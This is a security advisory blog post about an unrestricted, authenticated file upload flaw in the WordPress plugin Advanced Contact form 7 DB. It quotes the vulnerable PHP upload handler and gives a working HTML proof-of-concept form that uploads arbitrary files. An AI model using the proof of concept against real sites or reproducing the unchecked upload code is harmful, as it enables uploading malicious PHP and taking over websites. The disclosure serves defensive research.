14 Sep

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Advanced Contact form 7 DB

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited. That sometimes leads to us catching a vulnerability of a more limited variant of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found was introduced in the most recent version of the plugin Advanced Contact form 7 DB.

The vulnerability could allow an attacker that had access to a WordPress account to upload arbitrary files to the website and by uploading a malicious PHP file they can take just about any action on the website. It also could allow an attacker that could get a user logged in to visit a URL the attacker controls, to exploit the vulnerability as well.

Since the check used to spot this is also included in our Plugin Security Checker (which is accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our main service as well as separately).

The vulnerability occurs due to the fact that a file upload capability is accessible to anyone logged in to WordPress despite only normally being intended to be accessible to Administrator-level users and it does not have any restriction on what types of files can be uploaded.

We notified the developer of the issue over three weeks ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Underlying Code

The plugin makes the function vsz_acf7_db_edit_scr_file_upload() available to anyone logged in to WordPress through WordPress’ AJAX functionality:

24
$this->loader->add_action('wp_ajax_acf7_db_edit_scr_file_upload',$plugin_admin,'vsz_acf7_db_edit_scr_file_upload');

That function, which is located in the file /admin/class-advanced-cf7-db-admin.php, only requires that several POST inputs are included with a request (the value of them doesn’t matter) and that file was under a certain size before saving a file sent with the request to the server:

970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
function vsz_acf7_db_edit_scr_file_upload(){
 
	if(!isset($_POST["fid"]) || empty($_POST["fid"])){
		print 'error';
		exit;
	}
	if(!isset($_POST["rid"]) || empty($_POST["rid"])){
		print 'error';
		exit;
	}
	if(!isset($_POST["field"]) || empty($_POST["field"])){
		print 'error';
		exit;
	}
 
	global $wpdb;
	$fid = $_POST["fid"];
	$rid = $_POST["rid"];
	$field = $_POST["field"];
 
	$upload_dir = wp_upload_dir();
	$acf7db_upload_folder = VSZ_CF7_UPLOAD_FOLDER;
	$temp_dir_upload = $upload_dir['basedir'].'/'.$acf7db_upload_folder;
	wp_mkdir_p($temp_dir_upload);
 
	if(is_array($_FILES) && !empty($_FILES)){
		$maxsize = 8000000;
		if(($_FILES['image']['size'] >= $maxsize)) {
			echo  'invalid_size';
			exit;
		}
		$filename = sanitize_text_field($_FILES["image"]["name"]);
		$file_basename = substr($filename, 0, strripos($filename, '.')); // get file name
		$file_ext = substr($filename, strripos($filename, '.')); // get file extention
		//unique file name
		$newfilename = wp_unique_filename($temp_dir_upload, $file_basename.$file_ext);
 
		if(move_uploaded_file($_FILES["image"]["tmp_name"], $temp_dir_upload. '/' .$newfilename)){

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/advanced-cf7-upload/, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="acf7_db_edit_scr_file_upload" />
<input type="hidden" name="fid" value="test" />
<input type="hidden" name="rid" value="test" />
<input type="hidden" name="field" value="test" />
<input type="file" name="image" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 22, 2018 – Developer notified.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

Leave a Reply

Your email address will not be published. Required fields are marked *